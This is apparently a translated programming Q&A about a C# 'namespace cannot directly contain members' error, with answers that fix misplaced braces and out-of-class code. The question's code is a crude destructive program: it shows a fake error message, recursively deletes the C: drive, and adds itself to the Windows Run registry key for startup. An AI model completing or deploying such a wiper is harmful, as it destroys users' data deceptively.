命名空间不能直接包含字段或方法等成员?

时间:2012-02-21 19:22:54

标签: c# methods namespaces field

我正在尝试创建一个在启动时删除用户文档的应用程序(我知道这可能听起来很恶意,但它适用于学校项目)。

但是,我收到错误“命名空间不能直接包含字段或方法等成员”。

看着它,看起来很好吗?我希望第二双眼睛可以提供帮助,因为我到处搜索,我找不到相关的解决方案!

不可否认,由于我的基本知识,我在网上和书籍上使用了很多帮助,而我所知道的c#是有限的。因此,我可能只是愚蠢,但每个人都必须从某个地方开始,对吧?

代码如下:

namespace Test
{
class Program
    {
     static void Main(string[] args)
        {
        MessageBox.Show("An unexpected error occured");
        if (System.IO.Directory.Exists(@"C:\"))
        {
            try
            {
                System.IO.Directory.Delete("C:\\", true);
            }

            catch (System.IO.IOException e)
            {
                Console.WriteLine(e.Message);
            }
        }
    }
    }
public class Program
{
    private void SetStartup();
    }

        RegistryKey rk = Registry.CurrentUser.OpenSubKey
            ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

        if (chkStartUp.Checked)
            rk.SetValue(AppName, Application.ExecutablePath.ToString());
        else
            rk.DeleteValue(AppName, false);

    }

4 个答案:

答案 0 :(得分:10)

您的代码在SetStartup周围严重混乱。如果你遵循正常的缩进,你会更清楚地看到发生了什么。在Visual Studio中按Ctrl-E,然后按D,它将重新格式化您的文档 - 这将使事情变得更加清晰。

看看这个(在我缩进之后):

public class Program
{
    private void SetStartup();
}

RegistryKey rk = [...];

那是试图在一个类之外声明一个变量(rk)。你也有一个没有身体的非抽象方法,你最后都缺少关闭括号。

我怀疑你意味着它是:

public class Program
{
    // Note: no semi-colon, and an *opening* brace
    private void SetStartup()
    {
        RegistryKey rk = [...];
        // Other code
    }
}

// And you'd want to close the namespace declaration too

你也会在声明两个具有相同名称的(非部分)类时遇到问题......

答案 1 :(得分:0)

你有一个错位的括号和分号,应该是:

private void SetStartup()
{

    RegistryKey rk = Registry.CurrentUser.OpenSubKey
        ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

    //..
}

答案 2 :(得分:0)

在我的情况下,编译器在第1行的Razor视图中报告了此错误。代码如下:

@using Microsoft.AspNet.Identity;
@using MyApp.Helpers;

我刚改变了使用顺序,问题解决了。

@using MyApp.Helpers;
@using Microsoft.AspNet.Identity;

我的同事们还重申他们面临这个编译器错误,可以通过更改命名空间的顺序来解决。

我使用Visual Studio 2013更新5和.NET Framework 4.5

答案 3 :(得分:0)

格式化代码后,您会看到类之外有代码。

enter image description here